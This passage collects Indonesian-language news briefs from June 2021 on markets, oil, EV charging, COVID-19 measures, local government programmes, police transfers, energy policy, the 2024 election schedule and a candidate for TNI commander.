Data menunjukkan aktivitas manufaktur AS meningkat pada Mei karena permintaan yang terpendam mendorong pesanan. Institute for Supply Management yang berbasis di AS menempatkan indeks manufakturnya pada angka 61,2 persen pada Mei, meningkat 0,5 poin persentase dari angka April di 60,7 persen dan menunjukkan ekspansi sektor yang kuat dan pertumbuhan ekonomi AS pada Mei. Indeks Manajer Pembelian Manufaktur AS dari IHS Markit yang disesuaikan secara musiman mencapai 62,1 pada Mei, naik dari 60,5 pada April. Peningkatan bisnis di antara produsen-produsen AS termasuk yang terkuat dalam 14 tahun sejarah indeks. Imbal hasil obligasi pemerintah AS 10 tahun yang dijadikan acuan naik ke level tertinggi lebih dari satu minggu, meningkatkan peluang kerugian memegang emas yang tidak memberikan suku bunga. Saham-saham global juga mencapai rekor tertinggi karena pasar mengabaikan kekhawatiran tentang kenaikan inflasi. Namun, memberikan dukungan untuk emas, indeks dolar yang mengukur greenback terhadap enam mata uang utama saingannya merosot 0,2 persen, membuat emas lebih murah bagi mereka yang memegang mata uang lain. Investor sekarang menunggu data ekonomi ekonomi utama AS lainnya, dengan peristiwa penting angka penggajian (payrolls) AS yang akan dirilis pada Jumat (4/6/2021). "Tumpukan bukti yang menunjukkan bahwa kita telah mencapai momentum puncak ekonomi meningkatkan risiko aliran lindung nilai inflasi ke emas bisa mulai mengering," kata TD Securities. "Namun, jika inflasi memang bersifat sementara, maka kita kemungkinan akan melihat periode kebijakan moneter sangat longgar yang berkepanjangan, yang menunjukkan bahwa perkiraan pasar untuk kenaikan suku bunga Fed terlalu hawkish dan pada akhirnya harga emas dapat menguat lebih lanjut," tambahnya dalam catatan untuk klien. Logam mulia lainnya, perak untuk pengiriman Juli naik 8,8 sen atau 0,31 persen, menjadi ditutup pada 28,102 dolar AS per ounce. Platinum untuk pengiriman Juli naik 17,3 dolar AS atau 1,46 persen, menjadi ditutup pada 1.199,70 dolar AS per ounce. (sws)

IHSG Kembali Tembus Level Psikologis 6.000

Jakarta, FNN - Indeks Harga Saham Gabungan (IHSG) Bursa Efek Indonesia (BEI) pada Rabu pagi bergerak menguat dan kembali menembus ke atas level psikologis 6.000. IHSG dibuka menguat 55,02 poin atau 0,93 persen ke posisi 6.002,48. Sementara kelompok 45 saham unggulan atau indeks LQ45 naik 14,17 poin atau 1,59 persen ke posisi 902,82. "IHSG diperkirakan menguat pada perdagangan hari ini di tengah dominasi katalis positif terutama dari internal bagi pasar BEI," kata Kepala Riset Valbury Sekuritas dalam kajiannya di Jakarta, Rabu. Dari dalam negeri, sentimen positif datang dari Menteri Keuangan Sri Mulyani Indrawati yang memandang bahwa rentang angka outlook pertumbuhan ekonomi pada 2021 sebesar 4,5-5,3 persen dan proyeksi pertumbuhan ekonomi pada 2022 di rentang 5,2-5,8 persen telah mencerminkan optimisme arah pemulihan ekonomi dan juga potensi akselerasi pertumbuhan ekonomi dari reformasi struktural. Rentang angka proyeksi tersebut juga secara realistis mencerminkan masih adanya risiko ketidakpastian. Momentum pemulihan ekonomi tersebut diharapkan akan terus berlanjut sepanjang 2022 dengan pertimbangan pandemi COVID-19 bisa terkendali. Upaya penanganan pandemi dan vaksinasi massal diharapkan dapat mengendalikan laju penambahan kasus positif COVID-19 dan mempercepat terwujudnya kekebalan komunal pada kuartal I 2022. Sementara, Bank Indonesia memperkirakan ekonomi Indonesia akan tumbuh pada kisaran 4,1 hingga 5,1 persen. Proyeksi tersebut didorong oleh kenaikan kinerja ekspor, investasi nonbangunan, implementasi UU Cipta Kerja, dan terus berlanjutnya stimulus fiskal dan moneter. Ekonomi akan tumbuh pada kisaran tersebut dengan asumsi vaksinasi COVID-19 berhasil dilakukan sehingga dapat mendorong mobilitas dan konsumsi domestik. Sedangkan pada 2022, ekonomi Indonesia diperkirakan tumbuh pada kisaran 5 hingga 5,5 persen. Masih dari dalam negeri, pada Rabu ini Badan Pusat Statistik (BPS) akan merilis data inflasi Mei 2021. Bank Indonesia memprediksi inflasi pada Mei 2021 sebesar 0,28 persen (mtm). Indeks berjangka Wall Street pada akhir pekan lalu dalam posisi melemah. Sementara indeks bursa regional Asia pada awal pekan ini diperkirakan bergerak beragam. Bursa saham regional Asia pagi ini antara lain indeks Nikkei menguat 109,46 poin atau 0,38 persen ke 28.923,8, indeks Hang Seng naik 17,85 poin atau 0,06 persen ke 29.485,85, dan indeks Straits Times terkoreksi 14,75 poin atau 0,46 persen ke 3.172,48. (ant)

Minyak Sentuh Level Tertinggi Sejak 15 Bulan

New York, FNN - Harga minyak naik pada penutupan perdagangan Selasa (Rabu pagi WIB), dengan jenis Brent sempat menembus 71 dolar per barel atau diperdagangkan pada level tertinggi sejak Maret 2020, di tengah ekspektasi peningkatan permintaan bahan bakar selama musim mengemudi musim panas di Amerika Serikat dan saat OPEC+ setuju untuk meningkatkan produksi. Minyak mentah berjangka Brent untuk pengiriman Agustus naik 93 sen atau 1,3 persen, menjadi menetap di 70,25 dolar AS per barel setelah mencapai 71 dolar AS di awal sesi - harga intra-day tertinggi sejak 8 Maret 2020. Sementara itu, minyak mentah berjangka West Texas Intermediate (WTI) AS untuk pengiriman Juli, naik 1,40 dolar AS atau 2,1 persen menjadi menetap di 67,72 dolar AS per barel. Perusahaan jasa pelacakan GasBuddy mengatakan permintaan bensin AS pada Minggu (30/5/2021), bertepatan dengan akhir pekan Memorial Day, melonjak 9,6 persen di atas rata-rata empat hari Minggu sebelumnya. Itu adalah permintaan hari Minggu tertinggi sejak musim panas 2019. Stok minyak mentah AS diperkirakan turun 2,1 juta barel pekan lalu, menurut jajak pendapat awal Reuters. Harga minyak juga didorong oleh data China yang menunjukkan bahwa aktivitas pabrik negara itu tumbuh pada laju tercepat tahun ini pada Mei. Namun, keuntungan dibatasi oleh ekspektasi bahwa lebih banyak produksi akan mencapai pasar. Organisasi Negara-negara Pengekspor Minyak dan sekutunya, yang secara kolektif dikenal sebagai OPEC+, juga sepakat untuk melanjutkan pelonggaran pembatasan pasokan secara perlahan dalam pertemuan mereka pada Selasa (1/6/2021), sumber OPEC mengatakan, saat para produsen menyeimbangkan pemulihan permintaan yang diharapkan terhadap kemungkinan peningkatan pasokan dari di Iran. "Kesepakatan dengan Iran sangat berubah-ubah tentang apakah negara itu akan melakukan atau tidak, yang membuat pasar tegang," kata John Kilduff, mitra di Again Capital LLC di New York. OPEC+ memutuskan pada April untuk mengembalikan 2,1 juta barel per hari (bph) pasokan ke pasar dari Mei hingga Juli, mengantisipasi meningkatnya permintaan global meskipun jumlah kasus virus corona di India, konsumen minyak terbesar ketiga di dunia, sangat tinggi. "Kecuali kecurangan yang meluas berkembang atau peningkatan baru dalam kasus virus corona global berkembang, resep sukses OPEC saat ini tampaknya mewakili rencana yang layak," kata Jim Ritterbusch, presiden Ritterbusch and Associates di Galena, Illinois. (ant)

Mobil Listrik Bisa Isi Daya di 7-Eleven

Jakarta, FNN - Pengendara mobil listrik (EV) bakal bisa mengisi daya baterai mobilnya di toko 7-Eleven, dan jaringan ritel ini akan menyiapkan sedikitnya 500 port Direct Current Fast Charging (DCFC) di 250 toko dimulai dari AS dan Kanada pada akhir 2022. Dimiliki dan dioperasikan oleh 7‑Eleven, port DCFC baru akan meningkatkan opsi pengisian daya yang nyaman untuk pengemudi EV dengan menambah 22 stasiun pengisian daya perusahaan yang ada di 14 toko di empat negara bagian. Setelah ekspansi ini selesai, perusahaan akan memiliki salah satu sistem pengisian cepat terbesar dan paling kompatibel dari pengecer mana pun di AS. "7‑Eleven selalu menjadi pemimpin dalam ide dan teknologi baru untuk melayani kebutuhan pelanggan kami dengan lebih baik,” kata Presiden dan CEO 7‑Eleven Joe DePinto, dalam pernyataan resmi, dikutip Rabu. DePinto mengatakan bahwa langkah ini akan membantu mempercepat adopsi kendaraan lisrik dan bahan bakar alternatif yang lebih luas. Selain itu, perusahaan itu baru-baru ini “menggandakan” komitmen awalnya dan berjanji untuk memenuhi 50 persen pengurangan emisi CO2 pada tahun 2030. 7‑Eleven menetapkan tujuan keberlanjutan yang ambisius dan terukur pada tahun 2016 sebagai bagian dari komitmen perusahaan untuk mengoperasikan bisnis berkelanjutan secara global. Untuk membantu mengatasi tantangan yang diciptakan oleh perubahan iklim, perusahaan berencana untuk mencapai pengurangan 20 persen emisi CO2 dari tokonya pada tahun 2027. 7‑Eleven telah mencapai tujuan pengurangan 20 persen pada tahun 2019, delapan tahun lebih cepat dari jadwal. Pengurangan CO2 ini sama dengan karbon yang diserap oleh lebih dari 349.000 hektar hutan AS dalam satu tahun. 7‑Eleven meningkatkan keberlanjutannya dengan mencari solusi energi terbarukan untuk tokonya di seluruh negeri. Perusahaan membeli 100 persen energi angin untuk lebih 800 toko Texas dan 300 toko Illinois. Pembelian energi terbarukan tambahan termasuk 150 toko menggunakan tenaga air di Virginia, serta 300 toko Florida yang didukung oleh energi surya. (ant)

Pemkot Surabaya Siap Antarkan Obat untuk Pasien Rawat Jalan

Surabaya, FNN - Dinas Kesehatan Kota Surabaya menyatakan lima unit kendaraan motor bantuan PT MPM Honda siap digunakan petugas kesehatan untuk mengantarkan obat kepada pasien rawat jalan sehingga masyarakat tidak perlu berlama-lama menunggu obat di bagian farmasi rumah sakit. Kepala Dinas Kesehatan (Dinkes) Kota Surabaya Febria Rachmanita di Surabaya, Rabu, mengatakan, awal mula ide pengiriman obat ke rumah pasien rawat jalan muncul, ketika dirinya melihat pasien mengantre obat di instalasi farmasi RSUD Dr. Mohamad Soewandhie. "Tidak sedikit setiap harinya, pasien dari berbagai penyakit itu menunggu obat yang sedang dipersiapkan oleh petugas," katanya. Bahkan, Feny, panggilan akrab Febria Rachmantia juga kerap kali melihat pasien menunggu dengan kondisi yang dinilai cukup rentan. Kondisi tersebut memprihatinkan, apalagi dalam masa pandemi COVID-19 ini. Untuk itu, Feny merencanakan program layanan antar obat agar pasien rawat jalan setelah periksa langsung bisa pulang dan obatnya diantarkan petugas ke rumah masing-masing. Ia kemudian, mulai mencari perusahaan di Surabaya yang bersedia merealisasikan program itu melalui Coorparate Sosial Responsibility (CSR) atau program tanggung jawab sosial perusahaan. Seperti gayung bersambut, Feny mendapat kabar bahwa PT MPM Honda bersedia mengambil peran membantu mewujudkan program pengiriman obat ke rumah pasien. "Honda menyumbangkan lima motor lengkap dengan kotak obatnya," kata Feny panggilan akrab Febria. Penyerahan lima unit kendaraan roda dua tersebut, bersamaan dengan penandatanganan MoU (Memorandum of Understanding) oleh Wali Kota Surabaya Eri Cahyadi seusai upacara HUT ke-728 Surabaya di Balai Kota Surabaya, Senin (31/5). Rencananya, lanjut dia, setelah Surat Tanda Nomor Kendaraan (STNK) diterbitkan, Feny akan segera mengoperasikan kendaraan itu, dengan keliling mengantar obat ke rumah pasien rawat jalan di Surabaya. Ia menyebut, untuk kriteria layanan antar obat, akan dibuatkan Standar Operasional (SOP) sehingga dapat diketahui pasien rawat jalan mana saja yang tergolong mendapat fasilitas pelayanan pengiriman obat itu. "Secepatnya akan dioperasikan. Yang paling penting STNK-nya jadi dahulu. Kita juga sudah siapkan supir untuk pengantaran obat. Bismillah semoga lancar," katanya. Feny berharap, dari program ini masyarakat tidak perlu menunggu antrean obat terlalu lama, terutama, bagi pasien yang kondisinya rentan karena akan mudah tertular penyakit lain. "Sehingga yang paling penting, warga nyaman berobat di rumah sakit dan dapat segera sembuh," katanya. (ant)

IPB University Siapkan Petani Milenial

Jakarta, FNN - Rektor IPB University Arif Satria mendorong mahasiswanya untuk menjadi petani milenial, dengan menyediakan lahan sebagai kebun percobaan seluas 40 hektare di kawasan Sukamantri, Jawa Barat. "Lahan tersebut dimanfaatkan sepenuhnya untuk penelitian, magang, produksi dan bisnis. Bisnis ini dalam arti, kita menyediakan lahan untuk calon petani milenial. Upaya ini dilakukan agar mahasiswa IPB University dapat menjadi petani milenial," ujar Arif. Dirinya mengaku, ada 31 persen mahasiswa baru IPB University yang tertarik menjadi pengusaha, Oleh karena itu, IPB University akan memfasilitasi semua mahasiswanya terutama yang tertarik bisnis di bidang pertanian. "Bagi mahasiswa yang tertarik berbisnis di bidang pertanian, akan disediakan lahannya, sehingga para mahasiswa dapat belajar di lahan tersebut dari hulu sampai hilir," ujar dia. Arif berharap, dengan adanya fasilitas tersebut, para mahasiswa dapat menjadi petani milenial yang tangguh setelah lulus. Sementara, Dekan Fakultas Pertanian IPB University, Sugiyanta menjelaskan Kebun Percobaan IPB Sukamantri dijadikan sebagai kebun buah-buahan dan agrowisata. Komoditas utama yang ditanam meliputi durian, alpukat, lengkeng, dan pisang. Di samping itu, di sekeliling kebun turut dikembangkan usaha perawatan tanaman hias. "Kebun IPB Sukamantri ini kami jadikan sebagai teaching industry. Jadi suatu industri yang mendukung atau menjadi wahana untuk pendidikan," ujarnya. Dengan demikian, Kebun IPB Sukamantri dapat digunakan sebagai tempat magang, penelitian maupun start up. Mahasiswa maupun masyarakat dapat belajar, sehingga ketika sudah siap, dapat berbisnis secara profesional. Sugianta juga menyebut, di sekeliling kebun turut dikembangkan tanaman hias. Pengembangan tanaman hias ini melibatkan masyarakat setempat. "Ada 150 pengusaha tanaman hias yang dibina oleh IPB University. Ke depan akan dikembangkan pemuliaan dan perbanyakan tanaman hias," ujar dia. Pengembangan tersebut dimaksudkan untuk menghasilkan berbagai macam tanaman hias. Dengan demikian, petani dapat terfasilitasi dan memiliki strain baru yang populer dan memiliki harga yang mahal. (ant)

Penyakit Jamur Hitam Belum Terdeteksi di Indonesia

Jakarta, FNN - Menteri Kesehatan Budi Gunadi Sadikin mengemukakan penyakit 'mukormikosis' atau jamur hitam yang berisiko menginfeksi pernapasan pasien COVID-19 hingga saat ini belum terdeteksi di Indonesia. "Itu adanya di India. Tapi di kita (Indonesia) belum ya," kata Budi saat ditanya terkait penyakit jamur hitam di Indonesia usai meresmikan Sentra Vaksinasi Traveloka di Tangerang Selatan, Rabu pagi. Sementara itu Ketua Umum Perhimpunan Dokter Paru Indonesia Agus Dwi Susanto dalam keterangan tertulis kepada wartawan mengemukakan pandemi COVID-19 saat ini masih menjadi masalah kesehatan hampir di seluruh dunia termasuk Indonesia. "Kabar terbaru, beberapa negara seperti di India dan Malaysia terjadi pelonjakan kasus yang sangat signifikan," katanya. Di India, kata Agus, banyak ditemukan kasus jamur hitam sebagai infeksi mematikan yang muncul pada pasien yang terjangkit virus corona. "Pasien yang terinfeksi jamur hitam menyebabkan perubahan warna pada mata dan hidung, penglihatan kabur, nyeri dada, dan kesulitan bernapas," katanya. Untuk itu Perhimpunan Dokter Paru Indonesia mengimbau masyarakat untuk mewaspadai potensi jamur hitam, khususnya pada kalangan penderita COVID-19. Dokter Spesialis Paru Rumah Sakit Persahabatan Erlina Burhan mengatakan jamur hitam berisiko memicu alergi hingga menginfeksi saluran pernapasan, otak manusia bahkan memicu kematian. Erlina mengatakan konsumsi steroid berkepanjangan pada proses penyembuhan pasien COVID-19 berpotensi memicu jamur hitam di tubuh penderita. "Penggunaan steroid jangka panjang bisa menurunkan sistem imun. Kalau menyerang pernapasan, tentu bisa sesak bahkan lumayan hebat kalau disertai COVID-19 yang diderita pasien," ujarnya. (ant)

Jogja Bikin Aturan Baru Pemeriksaan Covid-19 dengan GeNose

Jogjakarta, FNN - Pemerintah Kota Jogjakarta mewacanakan aturan baru dalam proses pemeriksaan COVID-19 menggunakan GeNose guna memberikan kenyamanan bagi masyarakat yang mengakses pelayanan tersebut. Wali Kota Jogjakarta Haryadi Suyuti di Jogjakarta, Rabu, mengatakan bahwa layanan pemeriksaan COVID-19 harus akuntabel dan memberikan hasil pemeriksaan yang valid. Oleh karena itu, dia mewacanakan, jika pemeriksaan COVID-19 menggunakan GeNose menunjukkan hasil positif namun setelah ditindaklanjuti dengan jenis pemeriksaan lain menunjukkan hasil negatif maka pelanggan berhak memperoleh pengembalian biaya pemeriksaan GeNose. "Tujuannya bukan meminta uangnya kembali karena hasil tidak valid, tetapi masyarakat tidak boleh dibebani biaya atas hasil pemeriksaan yang tidak valid," katanya. Selain itu, ia mengemukakan, nantinya dalam pemeriksaan menggunakan GeNose perlu disertakan syarat pelayanan berupa surat pernyataan bahwa warga yang melakukan pemeriksaan telah memenuhi syarat tidak makan dan minum selama satu jam sebelum pemeriksaan, tidak merokok, tidak memakai parfum berlebihan, dan mematuhi aturan lainnya. "Tujuannya supaya tertib. Ini bentuk tanggung jawab dan akuntabilitas," katanya. Ia berharap wacana tersebut bisa segera direalisasikan dengan penerbitan aturan pendukungnya. Sebelumnya, Pemerintah Kota Yogyakarta meminta seluruh institusi yang menyelenggarakan lantatur pemeriksaan COVID-19 menyediakan tempat isolasi sementara bagi warga yang menurut hasil pemeriksaan terinfeksi virus corona. "Tujuannya supaya warga tidak merasa kebingungan dan tidak melakukan mobilitas yang dikhawatirkan justru berisiko menularkan ke orang lain," kata Haryadi. Saat ini, Haryadi mengatakan, wilayah Kota Yogyakarta tanpa zona merah, zona risiko tinggi penularan COVID-19. "Masyarakat pun diharapkan mampu bahu membahu menjaga agar penularan kasus tidak semakin meluas. Jangan sampai muncul zona merah kembali," katanya. Pada Selasa (1/6), 22 kasus COVID-19 baru terdeteksi di Kota Yogyakarta sehingga jumlah kasus aktifnya menjadi 323 kasus. Jumlah penderita COVID-19 yang masih menjalani isolasi tercatat 313 orang dan jumlah penderita yang menjalani rawat inap sebanyak 10 orang. (ant)

Anak Didik LP Anak Peringati Hari Pancasila

Palu, FNN - Sejumlah anak didik pemasyarakatan di Lembaga Pembinaan Khusus Anak (LPKA) Kelas II Palu, Sulawesi Tengah, ikut lomba permainan tradisional terompah. Terompah merupakan salah satu permainan tradisional yang dilombakan oleh LPKA Palu kepada anak didik pemasyarakatan dalam rangka memperingati Hari Lahir Pancasila 2021, Selasa (1/6). Tidak hanya lomba terompah, LPKA Palu juga mengadakan lomba sendok kelereng, main sarung, dan sepak takraw. Kepala Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Sulawesi Tengah Lilik Sujandi mengatakan bahwa pihaknya pada Hari Lahir Pancasila tahun ini mengangkat tema Hore! Aku Anak Pancasila. Lilik Sujandi menjelaskan bahwa kegiatan tersebut untuk memupuk rasa nasionalisme anak didik pemasyarakatan yang saat ini sedang menjalani masa hukuman. Dikatakan pula bahwa mereka juga diberikan pendidikan dasar sehingga tidak putus sekolah meskipun menjalani masa hukuman. Dalam pelaksanaan pendidikan dasar tersebut, pihaknya bekerja sama dengan Dinas Pendidikan Kota Palu. "Setelah mereka keluar dari sini, betul-betul memiliki kapasitas sebagai anak yang berprestasi," katanya. Seusai membuka lomba permainan tradisional antaranak didik pemasyarakatan, Wali Kota Palu Hadianto Rasyid mengatakan bahwa pemkot setempat akan memberikan perhatian kepada mereka dari segi pemenuhan hak pendidikannya. "Mereka ini anak-anak kita, kami akan memberikan perhatian yang baik kepada mereka agar keluar dari LPKA Palu ini kembali ke jalan yang baik," tuturnya. Pemkot setempat akan membantu terkait dengan penyediaan fasilitas di LPKA Palu sebagai sarana pendukung untuk pembinaan. "Kami akan membantu melengkapi beberapa fasilitas yang ada," katanya menegaskan. Lilik Sujandi menambahkan bahwa anak didik pemasyarakatan yang menghuni LPKA Palu sebanyak 42 orang dengan total 6 unit kamar hunian. (ant)

Sejumlah Pejabat Polda Sumbar Dimutasi

Padang, FNN - Sejumlah pejabat utama di Mapolda Sumatera Barat dimutasi yakni jabatan Direktur Samapta, Direktur Pamobvit, dan Direktur Reserse Narkoba Polda Sumatera Barat melalui Surat Telegram Kapolri yang diterbitkan pada Rabu (1/6). Kepala Bidang Humas Polda Sumbar Kombes Pol Satake Bayu dalam keterangan tertulis di Padang, Kamis mengatakan mutasi jabatan ini sesuai dengan Surat Telegram Kapolri (ST) tentang pemberhentian dan pengangkatan dalam jabatan di lingkungan Polri. Ia mengatakan beberapa Pejabat Utama Polda Sumbar dan Kapolres di jajaran Polda Sumbar juga masuk dalam ST dengan nomor ST/1129/VI/KEP./2021 tanggal 1 Juni 2021 yang ditandatangani oleh As SDM Kapolri Irjen Pol Drs. Sutrisno Yudi Hermawan. Untuk jabatan Direktur Samapta Polda Sumbar yang sebelumnya dijabat Kombes Pol Tafianto Eko Atmojo digantikan AKBP Achmadi yang sebelumnya menjabat Wadirsamapta Polda Banten, sementara Kombes Pol Tafianto akan bertugas sebagai Direktur Samapta Polda Kepulauan Riau. Kemudian jabatan Direktur Pengamanan Objek Vital (Dirpamobvit) Polda Sumbar yang sebelumnya dijabat Kombes Pol Agus Krisdiyanto digantikan AKBP Ardian Indra Nurinta yang sebelumnya menjabat Wakil Direktur Reserse Kriminal Umum Polda Lampung. Sementara Kombes Pol Agus Krisdiyanto akan bertugas sebagai Direktur Lalu Lintas Polda Maluku. Setelah itu Direktur Reserse Narkoba Polda Sumbar dari Kombes Pol Ade Rahmad Idnal digantikan Kombes Pol Roedy Yulianto yang sebelumnya menjabat Direktur Reserse Kriminal Khusus Polda DIY. Kombes Pol Roedy sebelumnya juga pernah menjabat sebagai Wadir Reserse Narkoba Polda Sumbar, Kapolres Dharmasraya dan Kapolres Padang Pariaman. Selanjutnya, Kapolres Dharmasraya AKBP Aditya Galayudha akan digantikan AKBP Anggun Cahyono yang sebelumnya menjabat Kakorsis SPN Polda Metro Jaya. Sementara AKBP Aditya Galayuda akan menjabat Kapolres Gunung Kidul Polda DIY. "Mutasi dalam tubuh Polri merupakan kebutuhan organisasi untuk promosi dan degradasi peningkatan kapasitas sumber daya manusia Polri," kata dia. (ant)

Warga Terdampak Bendungan Kuningan Dapat Rumah

Jakarta, FNN - Ditjen Perumahan Kementerian Pekerjaan Umum dan Perumahan Rakyat memastikan rumah khusus untuk merelokasi warga yang terdampak pembangunan Bendungan Kuningan di Kabupaten Kuningan, Jawa Barat, siap untuk segera dihuni dalam waktu dekat. “Pembangunan Rumah Khusus untuk relokasi masyarakat yang terdampak pembangunan Bendungan Kuningan dapat segera digunakan dalam waktu kurang dari 15 hari," kata Direktur Jenderal Perumahan Kementerian PUPR, Khalawi Abdul Hamid dalam rilis di Jakarta, Rabu. Khalawi Abdul Hamid memaparkan bahwa sebanyak 419 warga yang terdampak akan segera dipindahkan ke rumah khusus ini begitu Bendungan Kuningan diresmikan dan dialiri dengan air. Khalawi menerangkan rumah khusus yang berlokasi di Desa Sukarapih, Kecamatan Cibereum, Kabupaten Kuningan, Jawa Barat sudah dalam proses finishing dan penyelesaian Prasarana Sarana dan Utilitas (PSU). Dirjen Perumahan juga sudah melakukan dialog dengan pihak pelaksana pembangunan serta Bupati Kuningan untuk mengetahui progres serta kendala pembangunan di lapangan. "Saat ini progres pembangunan 419 rumah yang terbagi dalam empat tahap ini sudah mencapai 90 persen," katanya. Ia memaparkan pekerjaan pembangunan yang saat ini dilaksanakan adalah pengecatan, instalasi jaringan listrik dan air bersih yang akan segera rampung dalam waktu kurang dari 15 hari. Pekerjaan instalasi listrik dan air bersih akan dilaksanakan oleh Pemerintah Daerah dan dibantu Direktorat Jenderal Sumber Daya Air. Sementara itu, Bupati Kuningan Acep Purnama menyatakan Pemerintah Daerah memastikan jaringan listrik dan air bersih akan segera masuk dalam perumahan ini. “Tiang-tiang listrik dari PLN sudah mulai masuk beserta dengan gardu listriknya. Dan untuk jaringan air bersih akan segera diusahakan dari PDAM setempat untuk segera menyiapkan jalurnya,” ujar Acep. Dalam hal penyediaan air bersih, Kementerian PUPR juga mengerahkan bantuan dari Direktorat Jenderal Sumber Daya Air, dalam melakukan pengukuran Geo Listrik untuk menentukan sumber air pendamping PDAM yang dapat digunakan sebagai upaya percepatan penyelesaian rumah khusus ini. (ant)

PLTU Berbasis Batu Bara Harap Segera Ditinggalkan

Jakarta, FNN - Anggota Komisi VII DPR RI Mulyanto meminta penghapusan pembangunan pembangkit listrik tenaga uap (PLTU) dari batu bara dan menggantinya dengan energi baru dan terbarukan (EBT) bukan sekadar wacana, namun harus diwujudkan. "Niat tersebut sudah harus tertuang dalam Rencana Usaha Penyediaan Tenaga Listrik (RUPTL) 2021-2030, yang sampai hari ini belum diterbitkan," katanya dalam keterangan tertulis di Jakarta, Rabu. Mulyanto mengatakan Fraksi PKS setuju dengan catatan, pemerintah menghapus secara bertahap rencana pembangunan pembangkit listrik batu bara ini dari RUPTL. Hal ini sesuai dengan Kebijakan Energi Nasional (KEN), yang menargetkan energi dari sumber EBT sebesar 23 persen dari bauran energi pada 2025. "Kita setuju itu, namun bukan tanpa catatan," ujarnya. Menurut Mulyanto, penghapusan pembangkit batu bara dan pencapaian EBT yang semakin tinggi itu haruslah tidak menjadi alasan bagi kenaikan tarif listrik (TDL). Selain itu, ujarnya, penghapusan pembangunan PLTU secara bertahap itu juga jangan sampai membebani PT PLN (Persero) dengan mendorong mekanisme harga EBT yang lebih kompetitif dan sehat. Mulyanto mengatakan saat ini, PLN menemui kendala dalam upaya mengejar target porsi bauran EBT 23 persen. Apalagi, lanjutnya, mayoritas kontrak dengan pengembang swasta (independent power producer/IPP) dan pihak ketiga lainnya menggunakan asumsi pertumbuhan listrik yang tinggi. Sebelumnya, Direktur Jenderal Ketenagalistrikan Kementerian ESDM Rida Mulyana mengatakan pemerintah menjamin perencanaan pembangunan infrastruktur ketenagalistrikan dengan mengedepankan pembangkit EBT. "Kami menargetkan dalam 10 tahun ini termasuk 2021, kurang lebih ada 41 ribu megawatt tambahan pembangkit," kata Rida. Khusus tahun ini, pemerintah menargetkan penambahan kapasitas pembangkit sebesar 8.915 MW yang terdiri atas batu bara mulut tambang 4.688 MW, gas 3.467 MW, diesel 22 MW, dan EBT 737 MW dari air, panas bumi, biohibrid, dan matahari. Rida menambahkan dari 41 ribu MW itu, sebanyak 34.528 MW telah selesai didiskusikan dengan PLN, sementara 6.439 MW masih dalam tahap diskusi lanjutan. Dalam penyusunan RUPTL satu dekade ke depan itu, pemerintah masih mengedepankan pembangunan pembangkit fosil ketimbang EBT dengan komposisi 52 persen berbanding 48 persen. (sws/ant)

DPR Meminta KPU Bikin Alternatif Skenario Pemilu 2024

Jakarta, FNN - Anggota Komisi II DPR RI Guspardi Gaus meminta Komisi Pemilihan Umum (KPU) membuat alternatif skenario jadwal Pemilu 2024, karena sebelumnya lembaga penyelenggara pemilu itu mengusulkan pelaksanaannya dipercepat dari 21 April 2024 menjadi 21 Februari 2024. "Saya minta kepada KPU jangan skenario itu hanya di bulan Februari. Lihat alternatif lain, paling tidak dua alternatif," kata Guspardi Gaus di Jakarta, Rabu. Dia mengatakan, usulan KPU sudah dikemukakan pada rapat dengar pendapat (RDP) secara tertutup di DPR pada Senin (24/5). Dalam RDP tersebut menurut dia, Kementerian Dalam Negeri (Kemendagri) juga mengusulkan jadwal pelaksanaan pemilu yaitu digelar Maret 2024 dengan pertimbangan terkait anggaran dan kondisi cuaca. "Februari musim hujan, partisipasi pemilih (dikhawatirkan) berkurang. Kemudian tempat pemungutan suara (TPS) tidak semua bangunan permanen," ujarnya. Politisi PAN itu menilai tidak masalah pelaksanaan pemilu tidak berlangsung pada 21 April 2024, namun skenario pelaksanaannya harus dirancang secara matang agar tidak berbenturan dengan jadwal pemilihan lainnya. Karena itu menurut dia Komisi II DPR akan membahasnya pada waktu yang tepat, karena perlu masukan saran dari berbagai elemen. "Terutama akan berlangsung pemilihan kepala daerah (pilkada) serentak yang diusulkan 20 November 2024," ucap-nya. Selain itu menurut dia adanya potensi dua putaran pemilu, gugatan sengketa pemilu di Mahkamah Konstitusi (MK), dan pemungutan suara ulang. Dia menilai semua hal tersebut akan menyita waktu dalam rangkaian proses Pemilu sehingga jadwal-nya harus disusun secara matang. (sws/ant)

Pengamat Intelijen Jagokan Laksamana TNI Yudo Margono Jadi Panglima TNI

Jakarta, FNN - Pengamat Intelijen, Pertahanan dan Keamanan, Ngasiman Djoyonegoro menyatakan Laksamana TNI Yudo Margono layak menjadi Panglima TNI untuk menggantikan Marsekal TNI Hadi Tjahjanto yang pensiun pada akhir tahun 2021. "Tentang loyalitas, tak ada yang bisa membantah loyalitas Kasal ke-27 ini. Seluruh tugas dan tanggung jawab yang diberikan kepadanya selalu dilaksanakan dan diselesaikan dengan baik dan paripurna," kata Ngasiman dalam keterangan tertulisnya, di Jakarta, Rabu. Menurut dia, Yudo yang mulai menjabat sebagai Kepala Staf Angkatan Laut (Kasal) pada 20 Mei 2020, tidak sembarang menjadi prajurit TNI AL. Serangkaian kemampuan dan kecakapan, serta loyalitas adalah sebagian syarat yang harus dimiliki. Menurut Simon, panggilan akrab Ngasiman Djoyonegoro, bahwa rekam jejak atau track record ini dibuktikan Yudo bahkan jauh sebelum dirinya menjadi Kasal. Dia mencontohkan, saat menjabat sebagai Panglima Koarmada 1 (Pangkoarmada 1), Yudo dengan kesigapannya memimpin Satgas Laut dalam SAR pencarian bangkai pesawat Lion Air JT 160 yang jatuh di perairan Laut Jawa pada tahun 2019. Sehingga dengan kesigapan satgas di bawah pimpinannya tak butuh lama untuk menemukan serpihan dan CVR pesawat nahas tersebut. "Kesuksesan pada saat menjabat Pangkoarmada 1 menghantarkannya menjabat sebagai Panglima Komando Gabungan Wilayah Pertahanan 1 (Pangkogabwilhan 1)," kata Simon. Sebagai Pangkogabwilhan 1, lanjut dia, yang merupakan organisasi baru TNI untuk mengantisipasi tantangan keamanan ke depan, wilayah kewenangannya bukan hanya di laut tetapi meliputi darat, laut, dan udara. Hal itu tentu tantangan dan permasalahan yang dihadapi semakin besar. Menjalani jabatan ini pun bukan masalah yang besar bagi sosok Yudo Margono. "Dengan wawasan dan pengalamannya memimpin, Yudo berada posisi terdepan di kisruh perairan Natuna yang diklaim sebagai wilayah China. Berulang kali ia memerintahkan kapal-kapal TNI untuk melakukan penegakan hukum di wilayah yang masuk hak berdaulat Indonesia tersebut. Sebagai Pangkogabwilhan 1, ia punya pengalaman membawahi AD, AL dan AU," tutur Simon. Lebih lanjut, 